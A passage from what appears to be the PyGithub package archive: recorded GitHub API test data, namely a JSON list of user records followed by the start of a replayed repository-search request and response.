nizations_url":"https://api.github.com/users/georgepalmer/orgs","repos_url":"https://api.github.com/users/georgepalmer/repos","events_url":"https://api.github.com/users/georgepalmer/events{/privacy}","received_events_url":"https://api.github.com/users/georgepalmer/received_events","type":"User"},{"login":"andregoncalves","id":1074,"avatar_url":"https://secure.gravatar.com/avatar/4595f74cb9ac661ba3060d85352037b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4595f74cb9ac661ba3060d85352037b9","url":"https://api.github.com/users/andregoncalves","html_url":"https://github.com/andregoncalves","followers_url":"https://api.github.com/users/andregoncalves/followers","following_url":"https://api.github.com/users/andregoncalves/following{/other_user}","gists_url":"https://api.github.com/users/andregoncalves/gists{/gist_id}","starred_url":"https://api.github.com/users/andregoncalves/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andregoncalves/subscriptions","organizations_url":"https://api.github.com/users/andregoncalves/orgs","repos_url":"https://api.github.com/users/andregoncalves/repos","events_url":"https://api.github.com/users/andregoncalves/events{/privacy}","received_events_url":"https://api.github.com/users/andregoncalves/received_events","type":"User"},{"login":"dchelimsky","id":1075,"avatar_url":"https://secure.gravatar.com/avatar/5d38ab152e1e3e219512a9859fcd93af?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5d38ab152e1e3e219512a9859fcd93af","url":"https://api.github.com/users/dchelimsky","html_url":"https://github.com/dchelimsky","followers_url":"https://api.github.com/users/dchelimsky/followers","following_url":"https://api.github.com/users/dchelimsky/following{/other_user}","gists_url":"https://api.github.com/users/dchelimsky/gists{/gist_id}","starred_url":"https://api.github.com/users/dchelimsky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dchelimsky/subscriptions","organizations_url":"https://api.github.com/users/dchelimsky/orgs","repos_url":"https://api.github.com/users/dchelimsky/repos","events_url":"https://api.github.com/users/dchelimsky/events{/privacy}","received_events_url":"https://api.github.com/users/dchelimsky/received_events","type":"User"},{"login":"dmondark","id":1076,"avatar_url":"https://secure.gravatar.com/avatar/e076cb8dfb81c15933038dc93cb6570a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e076cb8dfb81c15933038dc93cb6570a","url":"https://api.github.com/users/dmondark","html_url":"https://github.com/dmondark","followers_url":"https://api.github.com/users/dmondark/followers","following_url":"https://api.github.com/users/dmondark/following{/other_user}","gists_url":"https://api.github.com/users/dmondark/gists{/gist_id}","starred_url":"https://api.github.com/users/dmondark/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmondark/subscriptions","organizations_url":"https://api.github.com/users/dmondark/orgs","repos_url":"https://api.github.com/users/dmondark/repos","events_url":"https://api.github.com/users/dmondark/events{/privacy}","received_events_url":"https://api.github.com/users/dmondark/received_events","type":"User"},{"login":"pdlug","id":1077,"avatar_url":"https://secure.gravatar.com/avatar/1067916bdca9347542c035fdb7430083?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1067916bdca9347542c035fdb7430083","url":"https://api.github.com/users/pdlug","html_url":"https://github.com/pdlug","followers_url":"https://api.github.com/users/pdlug/followers","following_url":"https://api.github.com/users/pdlug/following{/other_user}","gists_url":"https://api.github.com/users/pdlug/gists{/gist_id}","starred_url":"https://api.github.com/users/pdlug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdlug/subscriptions","organizations_url":"https://api.github.com/users/pdlug/orgs","repos_url":"https://api.github.com/users/pdlug/repos","events_url":"https://api.github.com/users/pdlug/events{/privacy}","received_events_url":"https://api.github.com/users/pdlug/received_events","type":"User"},{"login":"fredix","id":1078,"avatar_url":"https://secure.gravatar.com/avatar/3c75327133edef1a398f48a3566b0f7b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3c75327133edef1a398f48a3566b0f7b","url":"https://api.github.com/users/fredix","html_url":"https://github.com/fredix","followers_url":"https://api.github.com/users/fredix/followers","following_url":"https://api.github.com/users/fredix/following{/other_user}","gists_url":"https://api.github.com/users/fredix/gists{/gist_id}","starred_url":"https://api.github.com/users/fredix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fredix/subscriptions","organizations_url":"https://api.github.com/users/fredix/orgs","repos_url":"https://api.github.com/users/fredix/repos","events_url":"https://api.github.com/users/fredix/events{/privacy}","received_events_url":"https://api.github.com/users/fredix/received_events","type":"User"},{"login":"agibralter","id":1079,"avatar_url":"https://secure.gravatar.com/avatar/de396cedd7085b8ac01f8c18a7e24167?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de396cedd7085b8ac01f8c18a7e24167","url":"https://api.github.com/users/agibralter","html_url":"https://github.com/agibralter","followers_url":"https://api.github.com/users/agibralter/followers","following_url":"https://api.github.com/users/agibralter/following{/other_user}","gists_url":"https://api.github.com/users/agibralter/gists{/gist_id}","starred_url":"https://api.github.com/users/agibralter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agibralter/subscriptions","organizations_url":"https://api.github.com/users/agibralter/orgs","repos_url":"https://api.github.com/users/agibralter/repos","events_url":"https://api.github.com/users/agibralter/events{/privacy}","received_events_url":"https://api.github.com/users/agibralter/received_events","type":"User"},{"login":"frac","id":1080,"avatar_url":"https://secure.gravatar.com/avatar/3fccf3feddc8c218a4007bf51e4143e7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3fccf3feddc8c218a4007bf51e4143e7","url":"https://api.github.com/users/frac","html_url":"https://github.com/frac","followers_url":"https://api.github.com/users/frac/followers","following_url":"https://api.github.com/users/frac/following{/other_user}","gists_url":"https://api.github.com/users/frac/gists{/gist_id}","starred_url":"https://api.github.com/users/frac/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/frac/subscriptions","organizations_url":"https://api.github.com/users/frac/orgs","repos_url":"https://api.github.com/users/frac/repos","events_url":"https://api.github.com/users/frac/events{/privacy}","received_events_url":"https://api.github.com/users/frac/received_events","type":"User"},{"login":"ismasan","id":1081,"avatar_url":"https://secure.gravatar.com/avatar/93894025c277e9617911a949f1848a21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"93894025c277e9617911a949f1848a21","url":"https://api.github.com/users/ismasan","html_url":"https://github.com/ismasan","followers_url":"https://api.github.com/users/ismasan/followers","following_url":"https://api.github.com/users/ismasan/following{/other_user}","gists_url":"https://api.github.com/users/ismasan/gists{/gist_id}","starred_url":"https://api.github.com/users/ismasan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ismasan/subscriptions","organizations_url":"https://api.github.com/users/ismasan/orgs","repos_url":"https://api.github.com/users/ismasan/repos","events_url":"https://api.github.com/users/ismasan/events{/privacy}","received_events_url":"https://api.github.com/users/ismasan/received_events","type":"User"},{"login":"dpickett","id":1082,"avatar_url":"https://secure.gravatar.com/avatar/ae619e02984c5efc3d3e6f9fef39079c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae619e02984c5efc3d3e6f9fef39079c","url":"https://api.github.com/users/dpickett","html_url":"https://github.com/dpickett","followers_url":"https://api.github.com/users/dpickett/followers","following_url":"https://api.github.com/users/dpickett/following{/other_user}","gists_url":"https://api.github.com/users/dpickett/gists{/gist_id}","starred_url":"https://api.github.com/users/dpickett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpickett/subscriptions","organizations_url":"https://api.github.com/users/dpickett/orgs","repos_url":"https://api.github.com/users/dpickett/repos","events_url":"https://api.github.com/users/dpickett/events{/privacy}","received_events_url":"https://api.github.com/users/dpickett/received_events","type":"User"},{"login":"maxwellterry","id":1083,"avatar_url":"https://secure.gravatar.com/avatar/a905cdf7d80252315ece9293e8ef3f71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a905cdf7d80252315ece9293e8ef3f71","url":"https://api.github.com/users/maxwellterry","html_url":"https://github.com/maxwellterry","followers_url":"https://api.github.com/users/maxwellterry/followers","following_url":"https://api.github.com/users/maxwellterry/following{/other_user}","gists_url":"https://api.github.com/users/maxwellterry/gists{/gist_id}","starred_url":"https://api.github.com/users/maxwellterry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maxwellterry/subscriptions","organizations_url":"https://api.github.com/users/maxwellterry/orgs","repos_url":"https://api.github.com/users/maxwellterry/repos","events_url":"https://api.github.com/users/maxwellterry/events{/privacy}","received_events_url":"https://api.github.com/users/maxwellterry/received_events","type":"User"},{"login":"fsvehla","id":1084,"avatar_url":"https://secure.gravatar.com/avatar/d3374d506ecb4145d399bd9162dd66ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d3374d506ecb4145d399bd9162dd66ce","url":"https://api.github.com/users/fsvehla","html_url":"https://github.com/fsvehla","followers_url":"https://api.github.com/users/fsvehla/followers","following_url":"https://api.github.com/users/fsvehla/following{/other_user}","gists_url":"https://api.github.com/users/fsvehla/gists{/gist_id}","starred_url":"https://api.github.com/users/fsvehla/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fsvehla/subscriptions","organizations_url":"https://api.github.com/users/fsvehla/orgs","repos_url":"https://api.github.com/users/fsvehla/repos","events_url":"https://api.github.com/users/fsvehla/events{/privacy}","received_events_url":"https://api.github.com/users/fsvehla/received_events","type":"User"},{"login":"glasner","id":1085,"avatar_url":"https://secure.gravatar.com/avatar/008059ed6b16d4c2a8793bbb24508ba7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"008059ed6b16d4c2a8793bbb24508ba7","url":"https://api.github.com/users/glasner","html_url":"https://github.com/glasner","followers_url":"https://api.github.com/users/glasner/followers","following_url":"https://api.github.com/users/glasner/following{/other_user}","gists_url":"https://api.github.com/users/glasner/gists{/gist_id}","starred_url":"https://api.github.com/users/glasner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/glasner/subscriptions","organizations_url":"https://api.github.com/users/glasner/orgs","repos_url":"https://api.github.com/users/glasner/repos","events_url":"https://api.github.com/users/glasner/events{/privacy}","received_events_url":"https://api.github.com/users/glasner/received_events","type":"User"},{"login":"dmadding","id":1086,"avatar_url":"https://secure.gravatar.com/avatar/6ecf5b7000fb010ba83cff733b5149a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ecf5b7000fb010ba83cff733b5149a6","url":"https://api.github.com/users/dmadding","html_url":"https://github.com/dmadding","followers_url":"https://api.github.com/users/dmadding/followers","following_url":"https://api.github.com/users/dmadding/following{/other_user}","gists_url":"https://api.github.com/users/dmadding/gists{/gist_id}","starred_url":"https://api.github.com/users/dmadding/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmadding/subscriptions","organizations_url":"https://api.github.com/users/dmadding/orgs","repos_url":"https://api.github.com/users/dmadding/repos","events_url":"https://api.github.com/users/dmadding/events{/privacy}","received_events_url":"https://api.github.com/users/dmadding/received_events","type":"User"},{"login":"jwilkins","id":1087,"avatar_url":"https://secure.gravatar.com/avatar/1b03afc0871dcebcb94ea8c71c30d119?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1b03afc0871dcebcb94ea8c71c30d119","url":"https://api.github.com/users/jwilkins","html_url":"https://github.com/jwilkins","followers_url":"https://api.github.com/users/jwilkins/followers","following_url":"https://api.github.com/users/jwilkins/following{/other_user}","gists_url":"https://api.github.com/users/jwilkins/gists{/gist_id}","starred_url":"https://api.github.com/users/jwilkins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jwilkins/subscriptions","organizations_url":"https://api.github.com/users/jwilkins/orgs","repos_url":"https://api.github.com/users/jwilkins/repos","events_url":"https://api.github.com/users/jwilkins/events{/privacy}","received_events_url":"https://api.github.com/users/jwilkins/received_events","type":"User"},{"login":"shingara","id":1088,"avatar_url":"https://secure.gravatar.com/avatar/2fd0206c71a1b22a9cc6293f38537461?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2fd0206c71a1b22a9cc6293f38537461","url":"https://api.github.com/users/shingara","html_url":"https://github.com/shingara","followers_url":"https://api.github.com/users/shingara/followers","following_url":"https://api.github.com/users/shingara/following{/other_user}","gists_url":"https://api.github.com/users/shingara/gists{/gist_id}","starred_url":"https://api.github.com/users/shingara/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shingara/subscriptions","organizations_url":"https://api.github.com/users/shingara/orgs","repos_url":"https://api.github.com/users/shingara/repos","events_url":"https://api.github.com/users/shingara/events{/privacy}","received_events_url":"https://api.github.com/users/shingara/received_events","type":"User"},{"login":"sebastian","id":1089,"avatar_url":"https://secure.gravatar.com/avatar/ebac0be1687975b63a20da7b254442ab?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ebac0be1687975b63a20da7b254442ab","url":"https://api.github.com/users/sebastian","html_url":"https://github.com/sebastian","followers_url":"https://api.github.com/users/sebastian/followers","following_url":"https://api.github.com/users/sebastian/following{/other_user}","gists_url":"https://api.github.com/users/sebastian/gists{/gist_id}","starred_url":"https://api.github.com/users/sebastian/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebastian/subscriptions","organizations_url":"https://api.github.com/users/sebastian/orgs","repos_url":"https://api.github.com/users/sebastian/repos","events_url":"https://api.github.com/users/sebastian/events{/privacy}","received_events_url":"https://api.github.com/users/sebastian/received_events","type":"User"},{"login":"michaelklishin","id":1090,"avatar_url":"https://secure.gravatar.com/avatar/388dee5b4fb00316282b5f40b8409438?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"388dee5b4fb00316282b5f40b8409438","url":"https://api.github.com/users/michaelklishin","html_url":"https://github.com/michaelklishin","followers_url":"https://api.github.com/users/michaelklishin/followers","following_url":"https://api.github.com/users/michaelklishin/following{/other_user}","gists_url":"https://api.github.com/users/michaelklishin/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelklishin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelklishin/subscriptions","organizations_url":"https://api.github.com/users/michaelklishin/orgs","repos_url":"https://api.github.com/users/michaelklishin/repos","events_url":"https://api.github.com/users/michaelklishin/events{/privacy}","received_events_url":"https://api.github.com/users/michaelklishin/received_events","type":"User"},{"login":"yaanno","id":1091,"avatar_url":"https://secure.gravatar.com/avatar/12609643dd685a6753f15d542a77b7f9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"12609643dd685a6753f15d542a77b7f9","url":"https://api.github.com/users/yaanno","html_url":"https://github.com/yaanno","followers_url":"https://api.github.com/users/yaanno/followers","following_url":"https://api.github.com/users/yaanno/following{/other_user}","gists_url":"https://api.github.com/users/yaanno/gists{/gist_id}","starred_url":"https://api.github.com/users/yaanno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yaanno/subscriptions","organizations_url":"https://api.github.com/users/yaanno/orgs","repos_url":"https://api.github.com/users/yaanno/repos","events_url":"https://api.github.com/users/yaanno/events{/privacy}","received_events_url":"https://api.github.com/users/yaanno/received_events","type":"User"},{"login":"slip","id":1092,"avatar_url":"https://secure.gravatar.com/avatar/8e4f193e6765aaa57925baa2876f55a7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8e4f193e6765aaa57925baa2876f55a7","url":"https://api.github.com/users/slip","html_url":"https://github.com/slip","followers_url":"https://api.github.com/users/slip/followers","following_url":"https://api.github.com/users/slip/following{/other_user}","gists_url":"https://api.github.com/users/slip/gists{/gist_id}","starred_url":"https://api.github.com/users/slip/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/slip/subscriptions","organizations_url":"https://api.github.com/users/slip/orgs","repos_url":"https://api.github.com/users/slip/repos","events_url":"https://api.github.com/users/slip/events{/privacy}","received_events_url":"https://api.github.com/users/slip/received_events","type":"User"},{"login":"jamie","id":1093,"avatar_url":"https://secure.gravatar.com/avatar/e2ee1b6676c1e04dd641371723ca77b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e2ee1b6676c1e04dd641371723ca77b2","url":"https://api.github.com/users/jamie","html_url":"https://github.com/jamie","followers_url":"https://api.github.com/users/jamie/followers","following_url":"https://api.github.com/users/jamie/following{/other_user}","gists_url":"https://api.github.com/users/jamie/gists{/gist_id}","starred_url":"https://api.github.com/users/jamie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamie/subscriptions","organizations_url":"https://api.github.com/users/jamie/orgs","repos_url":"https://api.github.com/users/jamie/repos","events_url":"https://api.github.com/users/jamie/events{/privacy}","received_events_url":"https://api.github.com/users/jamie/received_events","type":"User"},{"login":"azsromej","id":1094,"avatar_url":"https://secure.gravatar.com/avatar/084a5458b3057bd33048a3e5dbe3f855?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"084a5458b3057bd33048a3e5dbe3f855","url":"https://api.github.com/users/azsromej","html_url":"https://github.com/azsromej","followers_url":"https://api.github.com/users/azsromej/followers","following_url":"https://api.github.com/users/azsromej/following{/other_user}","gists_url":"https://api.github.com/users/azsromej/gists{/gist_id}","starred_url":"https://api.github.com/users/azsromej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azsromej/subscriptions","organizations_url":"https://api.github.com/users/azsromej/orgs","repos_url":"https://api.github.com/users/azsromej/repos","events_url":"https://api.github.com/users/azsromej/events{/privacy}","received_events_url":"https://api.github.com/users/azsromej/received_events","type":"User"},{"login":"phsilva","id":1095,"avatar_url":"https://secure.gravatar.com/avatar/f3c282d158c56d60d46d865852b577a0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f3c282d158c56d60d46d865852b577a0","url":"https://api.github.com/users/phsilva","html_url":"https://github.com/phsilva","followers_url":"https://api.github.com/users/phsilva/followers","following_url":"https://api.github.com/users/phsilva/following{/other_user}","gists_url":"https://api.github.com/users/phsilva/gists{/gist_id}","starred_url":"https://api.github.com/users/phsilva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phsilva/subscriptions","organizations_url":"https://api.github.com/users/phsilva/orgs","repos_url":"https://api.github.com/users/phsilva/repos","events_url":"https://api.github.com/users/phsilva/events{/privacy}","received_events_url":"https://api.github.com/users/phsilva/received_events","type":"User"},{"login":"wmoxam","id":1096,"avatar_url":"https://secure.gravatar.com/avatar/23a7e2ff4a8656de4ef222f2eecd4a01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"23a7e2ff4a8656de4ef222f2eecd4a01","url":"https://api.github.com/users/wmoxam","html_url":"https://github.com/wmoxam","followers_url":"https://api.github.com/users/wmoxam/followers","following_url":"https://api.github.com/users/wmoxam/following{/other_user}","gists_url":"https://api.github.com/users/wmoxam/gists{/gist_id}","starred_url":"https://api.github.com/users/wmoxam/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wmoxam/subscriptions","organizations_url":"https://api.github.com/users/wmoxam/orgs","repos_url":"https://api.github.com/users/wmoxam/repos","events_url":"https://api.github.com/users/wmoxam/events{/privacy}","received_events_url":"https://api.github.com/users/wmoxam/received_events","type":"User"},{"login":"quirkey","id":1097,"avatar_url":"https://secure.gravatar.com/avatar/f04bfa14141dca6713f0d9caa763e26b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f04bfa14141dca6713f0d9caa763e26b","url":"https://api.github.com/users/quirkey","html_url":"https://github.com/quirkey","followers_url":"https://api.github.com/users/quirkey/followers","following_url":"https://api.github.com/users/quirkey/following{/other_user}","gists_url":"https://api.github.com/users/quirkey/gists{/gist_id}","starred_url":"https://api.github.com/users/quirkey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quirkey/subscriptions","organizations_url":"https://api.github.com/users/quirkey/orgs","repos_url":"https://api.github.com/users/quirkey/repos","events_url":"https://api.github.com/users/quirkey/events{/privacy}","received_events_url":"https://api.github.com/users/quirkey/received_events","type":"User"},{"login":"enhiro","id":1098,"avatar_url":"https://secure.gravatar.com/avatar/1e62788b9ca14d8456b17deaf97f048f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1e62788b9ca14d8456b17deaf97f048f","url":"https://api.github.com/users/enhiro","html_url":"https://github.com/enhiro","followers_url":"https://api.github.com/users/enhiro/followers","following_url":"https://api.github.com/users/enhiro/following{/other_user}","gists_url":"https://api.github.com/users/enhiro/gists{/gist_id}","starred_url":"https://api.github.com/users/enhiro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enhiro/subscriptions","organizations_url":"https://api.github.com/users/enhiro/orgs","repos_url":"https://api.github.com/users/enhiro/repos","events_url":"https://api.github.com/users/enhiro/events{/privacy}","received_events_url":"https://api.github.com/users/enhiro/received_events","type":"User"},{"login":"shillcock","id":1099,"avatar_url":"https://secure.gravatar.com/avatar/ca40eff0767d6403505881a3be5200bd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ca40eff0767d6403505881a3be5200bd","url":"https://api.github.com/users/shillcock","html_url":"https://github.com/shillcock","followers_url":"https://api.github.com/users/shillcock/followers","following_url":"https://api.github.com/users/shillcock/following{/other_user}","gists_url":"https://api.github.com/users/shillcock/gists{/gist_id}","starred_url":"https://api.github.com/users/shillcock/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shillcock/subscriptions","organizations_url":"https://api.github.com/users/shillcock/orgs","repos_url":"https://api.github.com/users/shillcock/repos","events_url":"https://api.github.com/users/shillcock/events{/privacy}","received_events_url":"https://api.github.com/users/shillcock/received_events","type":"User"},{"login":"niallkennedy","id":1100,"avatar_url":"https://secure.gravatar.com/avatar/62078292ef0e01419da698efa65af5ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62078292ef0e01419da698efa65af5ec","url":"https://api.github.com/users/niallkennedy","html_url":"https://github.com/niallkennedy","followers_url":"https://api.github.com/users/niallkennedy/followers","following_url":"https://api.github.com/users/niallkennedy/following{/other_user}","gists_url":"https://api.github.com/users/niallkennedy/gists{/gist_id}","starred_url":"https://api.github.com/users/niallkennedy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/niallkennedy/subscriptions","organizations_url":"https://api.github.com/users/niallkennedy/orgs","repos_url":"https://api.github.com/users/niallkennedy/repos","events_url":"https://api.github.com/users/niallkennedy/events{/privacy}","received_events_url":"https://api.github.com/users/niallkennedy/received_events","type":"User"},{"login":"sandropaganotti","id":1101,"avatar_url":"https://secure.gravatar.com/avatar/0df4a6c75caf1bd9b01d2dcbfb085ee4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0df4a6c75caf1bd9b01d2dcbfb085ee4","url":"https://api.github.com/users/sandropaganotti","html_url":"https://github.com/sandropaganotti","followers_url":"https://api.github.com/users/sandropaganotti/followers","following_url":"https://api.github.com/users/sandropaganotti/following{/other_user}","gists_url":"https://api.github.com/users/sandropaganotti/gists{/gist_id}","starred_url":"https://api.github.com/users/sandropaganotti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sandropaganotti/subscriptions","organizations_url":"https://api.github.com/users/sandropaganotti/orgs","repos_url":"https://api.github.com/users/sandropaganotti/repos","events_url":"https://api.github.com/users/sandropaganotti/events{/privacy}","received_events_url":"https://api.github.com/users/sandropaganotti/received_events","type":"User"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testSearchRepos.txt0000644000175100001660000012275514756101563023272 0ustar00runnerdockerhttps GET api.github.com None /legacy/repos/search/github api v3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '41937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ca6d7101af2acb5a04f11645bc01f4b2"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:53:53 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repositories":[{"type":"repo","has_issues":true,"created_at":"2009-12-10T13:41:49-08:00","score":16.919834,"owner":"pengwynn","has_downloads":true,"followers":295,"created":"2009-12-10T13:41:49-08:00","pushed":"2012-06-28T05:54:54-07:00","homepage":"http://pengwynn.github.com/octokit","watchers":295,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-28T05:54:54-07:00","forks":73,"fork":false,"size":248,"name":"octokit","url":"https://github.com/pengwynn/octokit","description":"Simple Ruby wrapper for the GitHub v3 API","open_issues":2,"private":false,"integrate_branch":"master","username":"pengwynn"},{"type":"repo","has_issues":true,"created_at":"2011-06-23T15:52:33-07:00","score":8.835576,"owner":"jwilger","has_downloads":true,"followers":35,"created":"2011-06-23T15:52:33-07:00","pushed":"2012-01-20T12:46:30-08:00","watchers":35,"has_wiki":false,"language":"Ruby","pushed_at":"2012-01-20T12:46:30-08:00","forks":13,"fork":false,"size":212,"name":"github-v3-api","url":"https://github.com/jwilger/github-v3-api","description":"Ruby Client for the GitHub v3 API","open_issues":2,"private":false,"username":"jwilger"},{"type":"repo","has_issues":true,"created_at":"2011-10-11T13:02:03-07:00","master_branch":"develop","score":7.502039,"owner":"acoulton","has_downloads":true,"followers":11,"created":"2011-10-11T13:02:03-07:00","pushed":"2011-12-29T20:40:32-08:00","homepage":"","watchers":11,"has_wiki":true,"language":"PHP","pushed_at":"2011-12-29T20:40:32-08:00","forks":4,"fork":false,"size":164,"name":"github_v3_api","url":"https://github.com/acoulton/github_v3_api","description":"KO3 module for interacting with the new Github v3 API","open_issues":1,"private":false,"username":"acoulton"},{"type":"repo","has_issues":true,"created_at":"2011-09-25T12:36:22-07:00","score":7.3562603,"owner":"peter-murach","has_downloads":true,"followers":77,"created":"2011-09-25T12:36:22-07:00","pushed":"2012-06-24T10:54:21-07:00","homepage":"http://peter-murach.github.com/github","watchers":77,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-24T10:54:21-07:00","forks":26,"fork":false,"size":300,"name":"github","url":"https://github.com/peter-murach/github","description":"Ruby interface to github API v3","open_issues":1,"private":false,"username":"peter-murach"},{"type":"repo","has_issues":true,"created_at":"2012-06-04T15:20:41-07:00","score":7.121046,"owner":"VisualAppeal","has_downloads":true,"followers":2,"organization":"VisualAppeal","created":"2012-06-04T15:20:41-07:00","pushed":"2012-06-04T15:29:07-07:00","watchers":2,"has_wiki":true,"language":"PHP","pushed_at":"2012-06-04T15:29:07-07:00","forks":1,"fork":false,"size":132,"name":"Github-API-v3","url":"https://github.com/VisualAppeal/Github-API-v3","description":"PHP Github API client for version 3.","open_issues":0,"private":false,"username":"VisualAppeal"},{"type":"repo","has_issues":true,"created_at":"2012-02-21T02:02:04-08:00","score":7.116807,"owner":"guillaumepotier","has_downloads":true,"followers":2,"created":"2012-02-21T02:02:04-08:00","pushed":"2012-02-23T01:05:23-08:00","homepage":"","watchers":2,"has_wiki":true,"language":"PHP","pushed_at":"2012-02-23T01:05:23-08:00","forks":1,"fork":false,"size":104,"name":"GithubApi_v3","url":"https://github.com/guillaumepotier/GithubApi_v3","description":"Very simple class I use for my pet projects","open_issues":0,"private":false,"username":"guillaumepotier"},{"type":"repo","has_issues":true,"created_at":"2012-01-14T17:32:10-08:00","score":6.182912,"owner":"phated","has_downloads":true,"followers":3,"created":"2012-01-14T17:32:10-08:00","pushed":"2012-01-15T23:58:31-08:00","homepage":"","watchers":3,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-01-15T23:58:31-08:00","forks":1,"fork":false,"size":9196,"name":"github-v3-api-js","url":"https://github.com/phated/github-v3-api-js","description":"Experimentation with github api (v3) in javascript","open_issues":0,"private":false,"username":"phated"},{"type":"repo","has_issues":true,"created_at":"2012-02-05T20:34:12-08:00","score":6.127202,"owner":"rsanders","has_downloads":true,"followers":3,"created":"2012-02-05T20:34:12-08:00","pushed":"2012-02-07T22:50:13-08:00","homepage":"","watchers":3,"has_wiki":true,"language":"Emacs Lisp","pushed_at":"2012-02-07T22:50:13-08:00","forks":3,"fork":false,"size":120,"name":"github-api-v3.el","url":"https://github.com/rsanders/github-api-v3.el","description":"Emacs Lisp interface for the GitHub API 